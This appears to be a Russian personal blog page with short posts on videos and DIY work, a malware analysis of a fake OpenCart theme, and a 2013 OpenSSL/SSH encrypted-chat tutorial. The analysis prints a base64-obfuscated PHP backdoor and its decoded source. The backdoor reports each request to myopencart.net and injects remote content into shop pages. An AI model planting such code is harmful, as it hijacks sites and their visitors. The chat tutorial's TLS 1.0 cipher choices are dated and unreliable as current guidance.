Записки...<title not dynamic />

Назначение и устройство дифференциала

24 апреля 2015

Стринги цвета хаки

Короткометражка по мотивам стихотворения Владимира Горохова "Она носила стринги цвета хаки".

17 октября 2014

Она была ничё такая

По одноименному стихотворению Владимира Горохова.
В ролях: Иван Савинов и Лена Савенко.

16 октября 2014

Аквапринт. Иммерсионная печать. Технология

Иммерсионная печать своими руками без специального оборудования, в маленьком тазике.

04 апреля 2014

Запресовка ступичных подшипников

Простейшее приспособление для прессовки ступичных подшипников.

Изготовлено из материалов, которые есть в каждом гараже или почти в каждом.

04 февраля 2014

Фишинг myopencart.net

Однажды попросил меня друг посмотреть почему у него не получается установить шаблон на CMS Opencart.

Присылает ссылку на сайт, доступы к административной части и хостингу. Захожу, вижу шаблон в директории с темами (/catalog/view/theme/). Немного разобравшись в структуре системы, понимаю, что инструмента для загрузки шаблонов нет, как например, в WordPress. Добавление новой темы происходит загрузкой нужных файлов в определенные папки. А CMS "узнает" о доступных шаблонах сканированием папки с темами.
Так вот, решение проблемы было банальным, шаблон был просто неправильно загружен. В данном случае, его надо было загружать от корня сайта.

На этом бы и закончилась история, но в архиве были "лишние" файлы и заменяющие существующие, не связанные с шаблоном. И мне стало интересно, чего же там не хватает, что требуется их заменить.

Добавлялось несколько скриптов в контроллеры, файлы локализации и заменялся /system/library/response.php.

Самым интересным оказался именно последний файл, где я обнаружил вот такие строки:

$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));

В оригинальном файле, конечно, этого не было.

После декодирования это, естественно, оказался бэкдор:

function get_page($url){
        $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
        $ch=curl_init();
        curl_setopt ($ch, CURLOPT_URL,$url );
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch,CURLOPT_VERBOSE,false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $page=curl_exec($ch);
        $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        switch($httpcode){
                case '200':
                        return $page;
                break;
                case '404';
                        return false;
                break;
        }
}

if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
$find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
$replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net");
$ouput = str_replace($find, $replace, $ouput);
ini_set("display_errors","off");
error_reporting(0);
echo $ouput;}
else {
echo $ouput;
}

Этот код не только заменяет ссылки конкурентов и официального сайта, но и позволяет управлять содержимым страницы.
С сервера возвращается:

</body></html>

Но, что мешает вернуть js-код. Такие дела.

Для проверки и подтверждения своих опасений я пошел на официальный сайт opencart.com в раздел "Партнеры". Где указан оф. сайт РФ http://www.opencart.ru, собственно это и подтвердило, что myopencart.net является фишинговым сайтом.

Будьте бдительны и проверяйте, что устанавливаете!

16 сентября 2013

Криптопереписка для недоверчивых

Привет! Не верите ли вы в популярные продукты для защищённой переписки так, как не верю в них я? Например, в браузерные крипточаты с шифрованием на стороне клиента, или в p2p-криптомессенжеры?

В данном посте речь пойдет об организации защищённого общения между двумя собеседниками. Он адресован таким же недоверчивым людям как я, поэтому в нём не будет ни кода, написанного мной, ни изобретённых на коленке протоколов и алгоритмов. Будет использоваться только библиотека openssl и набор программ openssh.

Вступление

Во всех продуктах защищённой коммуникации, которые я встречал, у меня неизбежно возникал вопрос доверия их разработчикам. Я не понимал, почему, скажем, к автору продукта всё ещё не пришли и не попросили ослабить шифрование или отдавать клиенту с определённым ip-адресом особый javascript-код. Вы можете сказать: «это невозможно». Почитайте, например, недавний пост Почтовый сервис Lavabit вынужден закрыться, и, особенно, продолжение этой истории(англ.), прошедшее мимо хабра.

К сожалению, люди совершают ошибки. Взять, например, сервис, первый по ссылке гугла по запросам «secure chat» и «crypto chat», который называется Cryptocat. Примерно три месяца назад в его коде обнаружилась ошибка — из-за недостаточно хорошей реализации генератора случайных чисел групповые сообщения, которые передавались в период с 17 октября 2011 года по 15 июня 2013 года стало возможно расшифровать, см. Decryptocat. Причём, в начале 2013 года компанией Veracode проводился аудит кода, который присудил ей «Security Quality Score of 100/100», и это был не единственный аудит кода в этот период.

Поэтому возникла идея использовать для коммуникации библиотеки, открытые алгоритмы и протоколы с более чем десятилетней историей поиска уязвимостей. Для меня, как и, надеюсь, что для многих из вас — это алгоритмы и протоколы из openssl и openssh(который, кстати, использует openssl внутри), а именно: TLS, SSH, SHA1, AES256, RSA и D-H. Я буду рассказывать на их примере, но, конечно, вы можете заменить их на те, которым доверяете лично вы, основная идея при этом не изменится.

Об OpenSSL

OpenSSL — библиотека с открытым исходным кодом, реализующая протоколы SSL/TLS. Они используются каждый раз, когда вы заходите на сайт по HTTPS. Про это недавно была статья.

Вот список уязвимостей, которые нашли в OpenSSL за более чем 10 лет анализа.

Неполный список программ, которые используют OpenSSL: apache, nginx, squid, openvpn, openssh, ntp, dhcp, cups, syslog-ng, xorg-server, php, python, ruby, libevent, nodejs, curl, wget, links, lynx, socat, hostapd, wpa_supplicant, virtualbox, vmware-player, libreoffice, ffmpeg.

И совсем немного про TLS. TLS — это криптопротокол, который позволяет устанавливать защищённые соединения. Сейчас существуют 3 версии этого протокола: 1.0, 1.1 и 1.2. Они описаны, соответственно, в rfc 2246, rfc 4346 и rfc 5246. Забавно, что все они заканчиваются на 46. Мы будем использовать версию 1.0 т.к. она вышла в 1999 году и в ней не было найдено серьёзных уязвимостей.

Протокол очень хитрый. Очень упрощённо процесс выглядит так: стороны договариваются о ключе для симметричного шифрования и в дальнейшем его используют. Все сообщения защищаются от изменения/подмены при помощи сочетания хэш функции с секретным ключём(HMAC). Также в протоколе предусмотрена взаимная аутентификация сервера и клиента.

Помимо полной реализации TLS, библиотека OpenSSL содержит множество криптографических и математических алгоритмов и имеет консольный интерфейс.

Примеры использования

1) Тестирование чисел на простоту:

$ openssl prime 997
3E5 is prime

2) Генерация случайных чисел:

$ openssl rand -hex 16
2871002e6f3cff937d066da9d3017197

3) Вычисление контрольной суммы:

$ openssl sha1 /etc/passwd
SHA1(/etc/passwd)= 8b74a9f1ddf496c02bc85e0e120bbb903d922276

4) Шифрование:

$ openssl aes-256-cbc -k pass -in /etc/passwd
<много бинарного вывода>

Именно этот интерфейс мы и будем использовать для нашей задачи. Перейдём к делу.

Простой вариант

Первый собеседник (с «белым» ip, назовём его «сервер») выполняет:

openssl s_server -accept 4433 -nocert -cipher ADH-AES256-SHA -tls1 -no_ticket

Второй собеседник, клиент, выполняет:

openssl s_client -connect <host>:4433 -cipher ADH-AES256-SHA -tls1 -no_ticket

Что мы только что сделали? Первой командой мы запустили tls 1.0-сервер, а второй — подключились к нему. Теперь можно общаться, все сообщения шифруются алгоритмом AES256, ключ для шифрования согласуется с помощью алгоритма Диффи-Хеллмана(D-H). Вот отличное пятиминутное видео, объясняющее его суть. Алгоритм D-H позволяет получить общий секретный ключ, используя незащищённый от прослушивания канал связи.

На этом можно было бы и закончить, но у такого подхода есть три проблемы:
1) Он не защищает от атаки «человек посередине»(MITM, Man In The Middle). Идея атаки тривиальна — становимся между сервером и клиентом, клиент думает, что подключается к серверу, а на самом деле, подключается к нам(к злоумышленнику), а мы транслируем его трафик на настоящий сервер.
2) Требуется наличие белого ip хотя бы у одной стороны.
3) Даже если данные нельзя расшифровать, доступна «метаинформация» о соединении: кто с кем соединялся, когда и сколько данных передано.

Защищаемся от MITM

Для того, чтобы защититься MITM, нужно, чтобы сервер аутентифицировал клиента, а клиент — сервера. Это достигается использованием асимметричного шифрования.

На на сервере и на клиенте нужно сгенерировать закрытый RSA-ключ и публичный сертификат.

На сервере выполняем:

openssl genrsa -out server.key 2048
openssl req -new -key server.key -batch -days 3650 -x509 -out server.crt

На клиенте:

openssl genrsa -out client.key 2048
openssl req -new -key client.key -batch -days 3650 -x509 -out client.crt

Здесь, 2048 — количество бит в модуле закрытого ключа, 3650 — срок действия сертификата в днях.

Затем сервер должен передать свой сертификат(файл server.crt) клиенту, а клиент(файл client.crt) — серверу. Это слабое место, ведь злоумышленник может подменить сертификат в момент передачи(если он его просто прочитает, то ничего страшного). Поэтому, лучше передавать его, используя несколько каналов(pastebin, email, skype, jabber, sms, голосом по телефону, почтой России, стеганографией в фотографиях котят в блоге, и.т.д). Передать сертификат достаточно один раз.

После этого, команда для создания TLS-сервера будет выглядеть так:

openssl s_server -accept 4433 -cert server.crt -key server.key -Verify 0 -CAfile client.crt -cipher DHE-RSA-AES256-SHA -tls1 -no_ticket

Подключение к серверу:

openssl s_client -connect <host>:4433 -cert client.crt -key client.key -verify 0 -CAfile server.crt -cipher DHE-RSA-AES256-SHA -tls1 -no_ticket

Теперь сервер и клиент смогут аутентифицировать друг друга.

Важно: если аутентификация прошла не успешно, то ни сервер, ни клиент не разорвёт соединение! Они лишь напишут об ошибке. К сожалению, нет ключа, который бы менял это поведение, поэтому нужно внимательно смотреть в лог подключения. Ошибка выглядит примерно так:

verify error:num=18:self signed certificate

Будем считать, что проблему MITM мы решили, осталось понять как решить проблемы 2) и 3). Здесь нам поможет протокол SSH.

SSH спешит на помощь

Протокол SSH активно используется при администрировании UNIX-серверов. Он чем-то похож на TLS, передаваемые данные тоже шифруются и подписываются. О ключе для шифрования договариваются обе стороны, например, используя тот же алгоритм D-H.

Для того, чтобы осуществить наш коварный план по защищённому обмену информацией, нам понадобится сервер с доступом по SSH и с белым IP. Найти такой сервер в наши дни не составляет особой сложности. Лучше искать тот, к которому подключаются много и часто.

Одна из особенностей протокола — он позволяет создавать защищённые туннели. Этим мы и воспользуемся!

На сервере выполняем:

ssh -c aes256-cbc -m hmac-sha1-96 -o KexAlgorithms=diffie-hellman-group-exchange-sha1 -R 4433:127.0.0.1:4433 user@sshhost
nc -l -p 4433 -v

Здесь, для дополнительного спокойствия, мы явно указываем алгоритмы шифрования, обмена ключами и хэширования. Ключ -R значит, что все подключения на порт 4433 ssh-сервера пойдут в шифрованный ssh-туннель и попадут к ssh-клиенту на тот же самый порт. Если у пользователя установлен в качестве шелла /sbin/nologin, то иногда помогает использование ключа -N, который указывает ssh-клиенту, не исполнять никаких команд на сервере, а лишь только создать туннель.

На клиенте выполняем:

ssh -c aes256-cbc -m hmac-sha1-96 -o KexAlgorithms=diffie-hellman-group-exchange-sha1 -L 4433:127.0.0.1:4433 user@sshhost
nc 127.0.0.1 4433

Теперь, если клиент подключится к себе на 127.0.0.1 на порт 4433, то ssh-клиент запроксирует соединение по защищённому туннелю на порт 4433 удалённой машины, а оттуда, данные перешифруются и полетят по другому туннелю на машину-сервер.

Команда nc — это вызов популярной утилиты netcat. Она позволяет слушать и устанавливать tcp-соединения, а так же передавать по ним данные. При выполнении команд выше, стороннему наблюдателю будет казаться, что никакого туннеля нет и что это просто два ssh-подключения к одному и тому же серверу, никак не связанных между собой. Таким образом, получаем защищённое и относительно незаметное соединение.

Что плохо? То, что мы не можем доверять ssh-серверу! Теоретически он может писать расшифрованные данные к себе в лог в момент их перешифровки, когда они попадают из одного туннеля в другой.

SSH + OpenSSL или We have to go deeper

Теперь пустим наш TLS-трафик поверх цепочки SSH-туннелей. Если вы внимательно следили, то итоговая последовательность команд будет такой:

На сервере:

# следующие три строки обязательны только для соединения в первый раз, в дальнейшем - опциональны
openssl genrsa -out server.key 2048
openssl req -new -key server.key -batch -days 3650 -x509 -out server.crt
[передаём server.crt клиенту]

ssh -c aes256-cbc -m hmac-sha1-96 -o KexAlgorithms=diffie-hellman-group-exchange-sha1 -R 4433:127.0.0.1:4433 user@sshhost

openssl s_server -accept 4433 -cert server.crt -key server.key -Verify 0 -CAfile client.crt -cipher DHE-RSA-AES256-SHA -tls1 -no_ticket

[ждём соединения]
[внимательно смотрим на лог подключения на предмет ошибок валидации сертификата]
[общаемся]

На клиенте:

# следующие три строки обязательны только для соединения в первый раз, в дальнейшем - опциональны
openssl genrsa -out client.key 2048
openssl req -new -key client.key -batch -days 3650 -x509 -out client.crt
[передаём client.crt серверу]

ssh -c aes256-cbc -m hmac-sha1-96 -o KexAlgorithms=diffie-hellman-group-exchange-sha1 -L 4433:127.0.0.1:4433 user@sshhost
openssl s_client -connect localhost:4433 -cert client.crt -key client.key -verify 0 -CAfile server.crt -cipher DHE-RSA-AES256-SHA -tls1 -no_ticket

[внимательно смотрим на лог подключения на предмет ошибок валидации сертификата]
[общаемся]

Для того, чтобы ssh-клиент уходил в background после подключения, ему можно указать ключи -Nf.

Итог

Итак, не написав ни одной строчки кода и используя только стандартные инструменты, мы получили возможность переписываться, используя незаметное, способное работать за NAT'ом, соединение, защищённое от прослушивания, MITM-атак и подмены сообщений. К тому же, оно относительно просто для настройки — от каждого собеседника требуется выполнить всего по 4 команды и одну передачу файла для первого соединения, и по две команды для последующих. Да, ещё требуется доступ по SSH к любому серверу.

MiniFAQ

Q: Почему не VPN?
A: VPN — хорошее решение. Но он сложен в настройке, требует рутовых прав на сервере или доверия к серверу.

Q: Почему не GnuPG?
A: GnuPG — тоже хорошее решение. Но при желании переданные ранее данные можно расшифровать, получив закрытый ключ(например, вместе с ноутбуком).

Q: С чего вы взяли, что в OpenSSL нет уязвимостей?
A: Я уверен, что они там есть. OpenSSL лично мне субъективно кажется надёжным, поэтому я рассказывал на его примере. Можно использовать любую другую реализацию, которой доверяете лично вы.

Q: Обещаете ли вы, что команды правильные?
A: Не обещаю! Советую проверить!

Q: Как дела с кроссплатформенностью?
A: OpenSSL — кроссплатформенная. Клиенты SSH существуют под большинство ОС.

Q: Хочу веб-интерфейс, почему консоль?!
A: Для вэб-интерфейса требуется писать код. Одна небольшая XSS-уязвимость может стоить важных данных. Моя логика проста: нет кода — нет ошибок.

Q: Ошибка getaddrinfo: Name or service not known при выполнении команды openssl s_server
A: У вас, наверно, выключен IPv6. Обновите openssl.

Q: Ошибка gethostbyname failure при выполнении команды openssl s_server
A: Проверьте файл /etc/hosts. Первое имя для адреса 127.0.0.1 обязательно должно резолвиться.

Источник

03 сентября 2013